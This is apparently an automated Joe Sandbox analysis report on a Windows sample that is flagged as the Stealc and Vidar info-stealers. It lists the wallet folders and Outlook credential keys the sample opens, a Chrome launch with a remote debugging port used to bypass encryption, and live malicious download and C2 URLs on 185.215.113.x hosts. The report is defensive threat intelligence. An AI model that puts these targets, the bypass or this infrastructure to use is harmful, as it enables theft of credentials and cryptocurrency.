Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1375832690.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1873172118.0000000000D51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF30C40 sqlite3_bind_zeroblob,	0_2_6CF30C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF30D60 sqlite3_bind_parameter_name,	0_2_6CF30D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE58EA0 sqlite3_clear_bindings,	0_2_6CE58EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF30B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF30B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56410 bind,WSAGetLastError,	0_2_6CE56410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE560B0 listen,WSAGetLastError,	0_2_6CE560B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56070 PR_Listen,	0_2_6CE56070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE5C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5C030 sqlite3_bind_parameter_count,	0_2_6CE5C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE22D0 sqlite3_bind_blob,	0_2_6CDE22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE563C0 PR_Bind,	0_2_6CE563C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	251 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsFHJKKECFIE.exe	50%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/msvcp140.dllz	100%	Avira URL Cloud	malware
http://185.215.113.206g	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll$	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php3jf	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpk3	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpQ	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpZo	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllk	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
play.google.com	172.217.19.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
assets2.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140782742&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140783607&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140775642&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140782745&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
https://c.msn.com/c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2947A454840A4FD09991B5E1B311CF6E&MUID=3E320C721BF96C1208BE194F1A9E6DEF	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://c.msn.com/c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	false		high
http://www.broofa.com	chromecache_434.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://www.last.fm/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://www.instagram.com	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://185.215.113.206s.exe	file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://www.messenger.com	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	false		high
https://www.deezer.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://web.telegram.org/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllz	file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206g	file.exe, 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://vibe.naver.com/today	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	false		high
https://assets.msn.com	128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp.9.dr	false		high
https://www.ecosia.org/newtab/	AKFHDBFI.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllk	file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpZo	file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_434.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll$	file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpk3	skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bard.google.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php3jf	skotes.exe, 0000001A.00000002.2603228244.0000000001551000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://www.office.com	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpb	file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log.8.dr, 2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	false		high
https://tidal.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high
https://ntp.msn.com	000003.log6.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpQ	skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpz	file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gaana.com/	1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	s-part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.49.251.21	unknown	United States	16625	AKAMAI-ASUS	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
20.189.173.11	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.126.116.98	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.219.82.91	unknown	United States	20940	AKAMAI-ASN1EU	false
104.117.182.41	unknown	United States	20940	AKAMAI-ASN1EU	false
104.126.116.8	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.235.251	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.173.219.40	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559790
Start date and time:	2024-11-20 23:11:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
